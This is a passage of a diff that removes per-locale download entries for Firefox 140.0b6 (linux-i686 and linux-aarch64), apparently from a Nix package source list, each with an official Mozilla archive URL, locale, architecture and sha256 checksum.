-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/tr/firefox-140.0b6.tar.xz";
-      locale = "tr";
-      arch = "linux-i686";
-      sha256 = "149b8bb8c8dd85ab43deb6dbc400f3d4959b557d10a67cf92b6f79d47e738695";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/trs/firefox-140.0b6.tar.xz";
-      locale = "trs";
-      arch = "linux-i686";
-      sha256 = "4f0cf978ecf62cd4a923a18fb5044796bbb2efc6338e1cf27bff9c349183bacf";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/uk/firefox-140.0b6.tar.xz";
-      locale = "uk";
-      arch = "linux-i686";
-      sha256 = "51c0ebe8f9b5281babb44870bff97ad02398a55404776c1661174ef988a1c0f8";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/ur/firefox-140.0b6.tar.xz";
-      locale = "ur";
-      arch = "linux-i686";
-      sha256 = "bc98672543b6462ae5178df9fe930326cb8b9e4def69a6a3d8ce282fdb090261";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/uz/firefox-140.0b6.tar.xz";
-      locale = "uz";
-      arch = "linux-i686";
-      sha256 = "f22197a95cec99fa2cc84f6295d9eeb6c6f3f5faf3aaf7508c1506569bbb4fc0";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/vi/firefox-140.0b6.tar.xz";
-      locale = "vi";
-      arch = "linux-i686";
-      sha256 = "24d60c5620a29e75af5a43593d7c2229bcb4aa708d01ab40cae92269b59df25c";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/xh/firefox-140.0b6.tar.xz";
-      locale = "xh";
-      arch = "linux-i686";
-      sha256 = "95190a46cd3041b6624160a75c37319eade659b3b154419b3b95ed670cbf2e90";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/zh-CN/firefox-140.0b6.tar.xz";
-      locale = "zh-CN";
-      arch = "linux-i686";
-      sha256 = "d3da8d8f8eaab4d6447199f9e5108f292883c79ba5c7cd48ae4dd1f2d9bcd2d0";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/zh-TW/firefox-140.0b6.tar.xz";
-      locale = "zh-TW";
-      arch = "linux-i686";
-      sha256 = "b0afc944c042e4dc8a98f3cf1701693a98c2f8d230be21d35b7bc474d2496065";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/ach/firefox-140.0b6.tar.xz";
-      locale = "ach";
-      arch = "linux-aarch64";
-      sha256 = "5b15edca7ba886bfcb34bee6c08cda64f757a848a20ea91450ceb75555351f8b";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/af/firefox-140.0b6.tar.xz";
-      locale = "af";
-      arch = "linux-aarch64";
-      sha256 = "e778e95f524f7f5cc69171caac0475712ae05b278d6737fff9b0a2d00ae78ff1";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/an/firefox-140.0b6.tar.xz";
-      locale = "an";
-      arch = "linux-aarch64";
-      sha256 = "9b902942c9f8c9d74a37b91d6c2f950a56bd56e1db6f626552e1a4b5eead83cb";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/ar/firefox-140.0b6.tar.xz";
-      locale = "ar";
-      arch = "linux-aarch64";
-      sha256 = "97157acefcec8cd9a5564a12f1c08c084891f22c70dea4eaca301c3a9e711876";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/ast/firefox-140.0b6.tar.xz";
-      locale = "ast";
-      arch = "linux-aarch64";
-      sha256 = "4cc18776eb262ffb699f58d96312eace21cefc7d88673568e585a07ca37173bb";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/az/firefox-140.0b6.tar.xz";
-      locale = "az";
-      arch = "linux-aarch64";
-      sha256 = "2ff4833d379ae47a2365fd72570b3e230ee3acec037bdeb432b3caaf6b013a3f";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/be/firefox-140.0b6.tar.xz";
-      locale = "be";
-      arch = "linux-aarch64";
-      sha256 = "e7553858a06e1a1f35bf9f3da91b2b367e5c203221ad8fc064359b5b6c60cf07";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/bg/firefox-140.0b6.tar.xz";
-      locale = "bg";
-      arch = "linux-aarch64";
-      sha256 = "0c09e5d84a4a63293d46ffaabaf65aaeed0a70799768b4f7b5ea0d485b7202eb";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/bn/firefox-140.0b6.tar.xz";
-      locale = "bn";
-      arch = "linux-aarch64";
-      sha256 = "6c0bc3a7c3ad9ec76923dc886a8a0c676ebda43969b8dfc31a5d39320db80024";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/br/firefox-140.0b6.tar.xz";
-      locale = "br";
-      arch = "linux-aarch64";
-      sha256 = "ee2553bb9d8dee02646c6c3bf17e17af86fd6e8607ad8432c3d742652f15bcc9";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/bs/firefox-140.0b6.tar.xz";
-      locale = "bs";
-      arch = "linux-aarch64";
-      sha256 = "abf76060303df5d1773e6828987fbfbdb00af03588fcdf6a3965b320502e6b63";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/ca-valencia/firefox-140.0b6.tar.xz";
-      locale = "ca-valencia";
-      arch = "linux-aarch64";
-      sha256 = "19a3c72cf20d28353d59a1cf0ee3dce6490e10a90ce9f44b2f1944c4c43245bb";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/ca/firefox-140.0b6.tar.xz";
-      locale = "ca";
-      arch = "linux-aarch64";
-      sha256 = "0412d10ef86ed5a8ddab3e1ba25cd4d7ebfc4f9c2013e0b234c1d92d6bd77b73";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/cak/firefox-140.0b6.tar.xz";
-      locale = "cak";
-      arch = "linux-aarch64";
-      sha256 = "a33cbfb911b5096eaa412cbd04906f024cd732b01b456c4963aebd2adf317253";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/cs/firefox-140.0b6.tar.xz";
-      locale = "cs";
-      arch = "linux-aarch64";
-      sha256 = "bf20cc69af960c04edd471c4fd72d3597ec7fb4924b3449789f1a5b44d5a0133";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/cy/firefox-140.0b6.tar.xz";
-      locale = "cy";
-      arch = "linux-aarch64";
-      sha256 = "f0925388ec9f9316399c82f03b4b6350bea6d3b515e0587c9e6fc5b897b77324";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/da/firefox-140.0b6.tar.xz";
-      locale = "da";
-      arch = "linux-aarch64";
-      sha256 = "15f52ae2b4065cb38b36f9e395bc7b6d6f5bf2bfafda2410f661738ebff2a5c1";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/de/firefox-140.0b6.tar.xz";
-      locale = "de";
-      arch = "linux-aarch64";
-      sha256 = "dfe792ee7af319e1b84451b4cfeaedbc49292b4eafdffd07149adbb493ef7127";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/dsb/firefox-140.0b6.tar.xz";
-      locale = "dsb";
-      arch = "linux-aarch64";
-      sha256 = "a7a4fbfcfb260fb3acde102faaedc31a1b8a06c6fb2e9c15876786d831437e3b";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/el/firefox-140.0b6.tar.xz";
-      locale = "el";
-      arch = "linux-aarch64";
-      sha256 = "96de1969c025ed81f08258aa2acb5c3bcc8de287634d8593d71a7eee82661572";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/en-CA/firefox-140.0b6.tar.xz";
-      locale = "en-CA";
-      arch = "linux-aarch64";
-      sha256 = "66ead601728050a0d3a11e745dadf8cc5ebbce10081a2b3ccaf5b74b094fa0f4";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/en-GB/firefox-140.0b6.tar.xz";
-      locale = "en-GB";
-      arch = "linux-aarch64";
-      sha256 = "89248abcaaaa0ad95c1122e329765895d1ecda7bb09c249436e5754d24b66d4b";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/en-US/firefox-140.0b6.tar.xz";
-      locale = "en-US";
-      arch = "linux-aarch64";
-      sha256 = "74b718e0d55d4b5604ec0329c031d1c4df6d1e8f563a1cdf0856359b5a1e0733";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/eo/firefox-140.0b6.tar.xz";
-      locale = "eo";
-      arch = "linux-aarch64";
-      sha256 = "8f838213f60897bf7efa4ac2bae5d2158bdc0badca1199007daaa28300c3798b";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/es-AR/firefox-140.0b6.tar.xz";
-      locale = "es-AR";
-      arch = "linux-aarch64";
-      sha256 = "71347bf238c17fade8c0b976162f79c15fc7ddb2757739e6726fa9c5178483b9";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/es-CL/firefox-140.0b6.tar.xz";
-      locale = "es-CL";
-      arch = "linux-aarch64";
-      sha256 = "a03fd736264f9350ce8afbb7bf748ef1334cd0c56d3a46b7cc4a7cbec9102ae6";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/es-ES/firefox-140.0b6.tar.xz";
-      locale = "es-ES";
-      arch = "linux-aarch64";
-      sha256 = "359b40f625f56dc6d0d0b9d485ac63191150c3a44a74e9075a41e911ceeb4a86";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/es-MX/firefox-140.0b6.tar.xz";
-      locale = "es-MX";
-      arch = "linux-aarch64";
-      sha256 = "c57bb72b0bef5d9cb51c8090105a5f67e1588ca4e7c7df39c4f62065af0615db";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/et/firefox-140.0b6.tar.xz";
-      locale = "et";
-      arch = "linux-aarch64";
-      sha256 = "c2fa39b2e8e8a30b9cb5bf5659a060740dfb38674788bdd3c49ccb097113a1a4";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/eu/firefox-140.0b6.tar.xz";
-      locale = "eu";
-      arch = "linux-aarch64";
-      sha256 = "904d296570aba820bbd085669c99c14c821af6115fc06141afa1769fb5216f48";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/fa/firefox-140.0b6.tar.xz";
-      locale = "fa";
-      arch = "linux-aarch64";
-      sha256 = "748a9367cd5c0eb882d6d215b75398eae46125ea1468a58a5afbf062c949a294";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/ff/firefox-140.0b6.tar.xz";
-      locale = "ff";
-      arch = "linux-aarch64";
-      sha256 = "30afedea01cf5bcb552b75c07dc5681f16fa24f64fbf25f3b366ba0a2142409d";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/fi/firefox-140.0b6.tar.xz";
-      locale = "fi";
-      arch = "linux-aarch64";
-      sha256 = "d60fa03385f079befeea5fd302a655c6e93612b9ce191ad1e04023c6ddc83130";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/fr/firefox-140.0b6.tar.xz";
-      locale = "fr";
-      arch = "linux-aarch64";
-      sha256 = "571d520820c9bc24310ec5191040ca999ca41d1f95b99f16d4147f0a867dc253";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/fur/firefox-140.0b6.tar.xz";
-      locale = "fur";
-      arch = "linux-aarch64";
-      sha256 = "2f7a970b94fa2a0fd54768558517fe8bfe8e0f27a946b0495603b824982a2623";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/fy-NL/firefox-140.0b6.tar.xz";
-      locale = "fy-NL";
-      arch = "linux-aarch64";
-      sha256 = "43e6c3489dfdebe246ab67d6d625706b8b445748a3ee182568572f3c3038a94a";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/ga-IE/firefox-140.0b6.tar.xz";
-      locale = "ga-IE";
-      arch = "linux-aarch64";
-      sha256 = "c14c09e50413596f1e50aed7a64744103e2d6765b7e41b34a0551e5562313203";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/gd/firefox-140.0b6.tar.xz";
-      locale = "gd";
-      arch = "linux-aarch64";
-      sha256 = "11dde7a7e5b04f37df9932a3b43f7f2a8b1983311888742366ac1bcc9634a1af";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/gl/firefox-140.0b6.tar.xz";
-      locale = "gl";
-      arch = "linux-aarch64";
-      sha256 = "68328e15c35b069a9ca2ebccdaef368d66f7dce7f14adf7bebeeaa7c0a41892b";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/gn/firefox-140.0b6.tar.xz";
-      locale = "gn";
-      arch = "linux-aarch64";
-      sha256 = "7180f6d3d3b3718547663e4d6545066ab258cfdf5910124625035cc35f1c26e3";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/gu-IN/firefox-140.0b6.tar.xz";
-      locale = "gu-IN";
-      arch = "linux-aarch64";
-      sha256 = "d459f0bcfbc1ca990121513e0bed6b3315ea114e297ccbe7e80a9e310bb94cb9";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/he/firefox-140.0b6.tar.xz";
-      locale = "he";
-      arch = "linux-aarch64";
-      sha256 = "b83d10b890852cd347b36923838ac0fc38d1b1d6657fa27852c9a0d7f0d8de30";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/hi-IN/firefox-140.0b6.tar.xz";
-      locale = "hi-IN";
-      arch = "linux-aarch64";
-      sha256 = "3b3d208f0ee43f5fb49b11e64c5d2f4cdd4939d004d9429e24849ffbba6311f8";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/hr/firefox-140.0b6.tar.xz";
-      locale = "hr";
-      arch = "linux-aarch64";
-      sha256 = "c02589f2dd9f4b736e6a00f151e1ad5e763279b1a9d4b5e037b14f71b8d005f2";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/hsb/firefox-140.0b6.tar.xz";
-      locale = "hsb";
-      arch = "linux-aarch64";
-      sha256 = "622f74e99562c74d055ae1bfde21dca5d24362498cd72a71f6dcb0a424599541";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/hu/firefox-140.0b6.tar.xz";
-      locale = "hu";
-      arch = "linux-aarch64";
-      sha256 = "3c2af96b89aa2a91bee2c684876912b2fe94e29ec04e64f516c27dadee496a3e";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/hy-AM/firefox-140.0b6.tar.xz";
-      locale = "hy-AM";
-      arch = "linux-aarch64";
-      sha256 = "13b89a8966517155f3dc21f24c200b303f9f109f7aacd2714119102582f74f14";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/ia/firefox-140.0b6.tar.xz";
-      locale = "ia";
-      arch = "linux-aarch64";
-      sha256 = "2e3d19abddff21e05666f3de3fc92d1b82e324273d0ac743e5e7c1591f5bb405";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/id/firefox-140.0b6.tar.xz";
-      locale = "id";
-      arch = "linux-aarch64";
-      sha256 = "0a4a3ed1eb5ea28e8c0076cafa34c5a9b1008fb6cc118b73e8addb0c1a944452";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/is/firefox-140.0b6.tar.xz";
-      locale = "is";
-      arch = "linux-aarch64";
-      sha256 = "599184c990b9960c021822eaebe88a57fa4900843fabe2d1e2a40c0806e29cdb";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/it/firefox-140.0b6.tar.xz";
-      locale = "it";
-      arch = "linux-aarch64";
-      sha256 = "9ede42df893c8034c5773b149e1a9d83671999ca6931829b6042177531649dc3";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/ja/firefox-140.0b6.tar.xz";
-      locale = "ja";
-      arch = "linux-aarch64";
-      sha256 = "ac162386b75ed1f4e0019fb3adca8ed1b23dfae029aae7cbadc7cc9ae49c3cec";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/ka/firefox-140.0b6.tar.xz";
-      locale = "ka";
-      arch = "linux-aarch64";
-      sha256 = "f6c5896f77ac909c9af4fddb4c5a4d920dc3fc2d8b564c22264d719a7c763163";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/kab/firefox-140.0b6.tar.xz";
-      locale = "kab";
-      arch = "linux-aarch64";
-      sha256 = "cbf718b24c98f40c9b76415f307da3e0d53aa920e6a4db70ed9829f359c20431";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/kk/firefox-140.0b6.tar.xz";
-      locale = "kk";
-      arch = "linux-aarch64";
-      sha256 = "9bdc580d9b0de74523b8e0dcaa171ea116d482342bb7121267245ccbfd509b34";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/km/firefox-140.0b6.tar.xz";
-      locale = "km";
-      arch = "linux-aarch64";
-      sha256 = "bb77e241893deff4db5e9f128c9cc28caba530c7e85ba458b1664768c97dea4f";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/kn/firefox-140.0b6.tar.xz";
-      locale = "kn";
-      arch = "linux-aarch64";
-      sha256 = "89c2e1abcf24f2d0831c110d5633151edcb90a4203a0bd19b83e384f8773b3aa";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/ko/firefox-140.0b6.tar.xz";
-      locale = "ko";
-      arch = "linux-aarch64";
-      sha256 = "157613edeaafeb7d68bdc577fdb31ee6c75df0711f0d79f08a8f3a5595775891";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/lij/firefox-140.0b6.tar.xz";
-      locale = "lij";
-      arch = "linux-aarch64";
-      sha256 = "38b59f648d4627b9a71752f56feaff5587982317f7e37d0a64fc72df4dc755e5";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/lt/firefox-140.0b6.tar.xz";
-      locale = "lt";
-      arch = "linux-aarch64";
-      sha256 = "0273f44ecb90e322660b7a9421964c1280bc82e18ace52fb504b8c9febb23b15";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/lv/firefox-140.0b6.tar.xz";
-      locale = "lv";
-      arch = "linux-aarch64";
-      sha256 = "8fe48d4fcc4ac652babc461a5df06825597d18c74109e89ced2fb0d733541313";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/mk/firefox-140.0b6.tar.xz";
-      locale = "mk";
-      arch = "linux-aarch64";
-      sha256 = "b961d6b55540d9d9fa567b3013d4fe1f812d9937c3412345e1baa92564444a04";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/mr/firefox-140.0b6.tar.xz";
-      locale = "mr";
-      arch = "linux-aarch64";
-      sha256 = "e6dd1df55d196d150a46385c46d8657a744ca26caa810d14e04aaf2910e3b452";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/ms/firefox-140.0b6.tar.xz";
-      locale = "ms";
-      arch = "linux-aarch64";
-      sha256 = "f366c7de84e193bd073f6319dbce4777e16fdf9d1cbf53147f3d75265c8031e7";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/my/firefox-140.0b6.tar.xz";
-      locale = "my";
-      arch = "linux-aarch64";
-      sha256 = "33f8c912359b751b729514df0d4d557643cb79274f51a7bb74b467cff33745a3";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/nb-NO/firefox-140.0b6.tar.xz";
-      locale = "nb-NO";
-      arch = "linux-aarch64";
-      sha256 = "a43a870dd37f15fbeb101da1960ecdb639ecfd2985410e13c1f1da183605ec67";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/ne-NP/firefox-140.0b6.tar.xz";
-      locale = "ne-NP";
-      arch = "linux-aarch64";
-      sha256 = "b13943075cab22dba51f25ba6c5124316c3be4b0cb2ff77fde4a9247fa8c02fc";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/nl/firefox-140.0b6.tar.xz";
-      locale = "nl";
-      arch = "linux-aarch64";
-      sha256 = "64b77da1ffd4eacdaf27daf254e1962a46a4ce8f18f60e1673c27200355d5366";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/nn-NO/firefox-140.0b6.tar.xz";
-      locale = "nn-NO";
-      arch = "linux-aarch64";
-      sha256 = "a705d090315ec18416ef1cb457f497ba683d477458949af30bffd0ab2c853f61";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/oc/firefox-140.0b6.tar.xz";
-      locale = "oc";
-      arch = "linux-aarch64";
-      sha256 = "3e174eb2d5857949af246dea468b4c193acbd25bcd4fc906c000f387ac8269a5";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/pa-IN/firefox-140.0b6.tar.xz";
-      locale = "pa-IN";
-      arch = "linux-aarch64";
-      sha256 = "5fe8a03510b6aac0e79d18ccf41f2fcb4d269fc1c37a4f491954d05f8f48616b";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/pl/firefox-140.0b6.tar.xz";
-      locale = "pl";
-      arch = "linux-aarch64";
-      sha256 = "426d5cdf137a6ab9de2f3777bc334a028d2dc8daddb2b6df27c0dde224567168";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/pt-BR/firefox-140.0b6.tar.xz";
-      locale = "pt-BR";
-      arch = "linux-aarch64";
-      sha256 = "3e138e048eeaae877d4fed415408f460283e6e6082189ed0835af6c55ea40b85";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/pt-PT/firefox-140.0b6.tar.xz";
-      locale = "pt-PT";
-      arch = "linux-aarch64";
-      sha256 = "6d867d7cfcc8f9885474d28b3c46323075883bba1e75ca47c3ac3cbe048315c1";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/rm/firefox-140.0b6.tar.xz";
-      locale = "rm";
-      arch = "linux-aarch64";
-      sha256 = "c8330384c35ebaf86549f8fa2c1d73fb9ee236e33f8a54b353403624d348da57";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/ro/firefox-140.0b6.tar.xz";
-      locale = "ro";
-      arch = "linux-aarch64";
-      sha256 = "dfb2ffdc9ffc70f7eb2f04fc2b5e0445f039706b15f669490b830e53844f0377";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/ru/firefox-140.0b6.tar.xz";
-      locale = "ru";
-      arch = "linux-aarch64";
-      sha256 = "c13c2d800a4a2b3fe556274d16ad2be4ee26e642f56dabfb176da516e07e92f9";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/sat/firefox-140.0b6.tar.xz";
-      locale = "sat";
-      arch = "linux-aarch64";
-      sha256 = "87da408c95335989987a8fc08adeb48558b65222530fbcc56f15a8989e44ac73";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/sc/firefox-140.0b6.tar.xz";
-      locale = "sc";
-      arch = "linux-aarch64";
-      sha256 = "d5654ae0594dff8078bec584fc3884bb399c218181f6415bec8d2eae610c99ad";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/sco/firefox-140.0b6.tar.xz";
-      locale = "sco";
-      arch = "linux-aarch64";
-      sha256 = "0cf196fa3fb5d8a4ef068eae26cab0cb9e38bddb1aa2261b2ae4e04bebdfe2c4";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/si/firefox-140.0b6.tar.xz";
-      locale = "si";
-      arch = "linux-aarch64";
-      sha256 = "0ffa2511f59d9b5702d55d827c27847cdbddb3285794a21bb86546fe7c949449";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/sk/firefox-140.0b6.tar.xz";
-      locale = "sk";
-      arch = "linux-aarch64";
-      sha256 = "03bd3e41fdd25dcff6a55555237bd025153df0529a2075d33dcfc1054116ce7a";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/skr/firefox-140.0b6.tar.xz";
-      locale = "skr";
-      arch = "linux-aarch64";
-      sha256 = "9cf365d13319694513adb0e47a7805d843d44c976019a1f50c4b1ddde76ff62a";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/sl/firefox-140.0b6.tar.xz";
-      locale = "sl";
-      arch = "linux-aarch64";
-      sha256 = "fdd2f3c6f0124bf5ca160d10cec486ead78fa2e889bea2c5e134390dbc1b1cc8";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/son/firefox-140.0b6.tar.xz";
-      locale = "son";
-      arch = "linux-aarch64";
-      sha256 = "4a2031a9b2a4d51e919903920fe77b7084abc15cc30c9f551df0948a3c816d5d";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/sq/firefox-140.0b6.tar.xz";
-      locale = "sq";
-      arch = "linux-aarch64";
-      sha256 = "16155600c16b2982190500613130a34b098d5891b9eca894e555f0281b22f20d";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/sr/firefox-140.0b6.tar.xz";
-      locale = "sr";
-      arch = "linux-aarch64";
-      sha256 = "096dd836daf90b18f701253df7c66fe4cab845dffe5e60f6f35e2c661d8f3cc8";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/sv-SE/firefox-140.0b6.tar.xz";
-      locale = "sv-SE";
-      arch = "linux-aarch64";
-      sha256 = "788cbe4cc058a0c23a0f0057dcdaa309ab12b35e4b1fc340aecd92ca0cf4cc5c";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/szl/firefox-140.0b6.tar.xz";
-      locale = "szl";
-      arch = "linux-aarch64";
-      sha256 = "521bf2cc23622f3f2604280bcfa1f4659051b88a7ffedcaa6dacbc0f98c43a66";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/ta/firefox-140.0b6.tar.xz";
-      locale = "ta";
-      arch = "linux-aarch64";
-      sha256 = "42a0073e0ae87cd35ced857704b2dbb9f82ef8bd2a176cda6b5591eb2ad6333d";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/te/firefox-140.0b6.tar.xz";
-      locale = "te";
-      arch = "linux-aarch64";
-      sha256 = "6ae3d560934edbfb3bae0d4b2a1b314da00bc963eb3cfc3ed7a903570d0f5022";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/tg/firefox-140.0b6.tar.xz";
-      locale = "tg";
-      arch = "linux-aarch64";
-      sha256 = "4dd4a7b1cc077a3373a5e7b8ca0e7843c183647d5db20028eabf7f365f73711e";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/th/firefox-140.0b6.tar.xz";
-      locale = "th";
-      arch = "linux-aarch64";
-      sha256 = "dcd8f27f9d2aeb8238ab26682998798885c1efcbce3f1d57658b7a3a4fa23127";
-    }
-    {
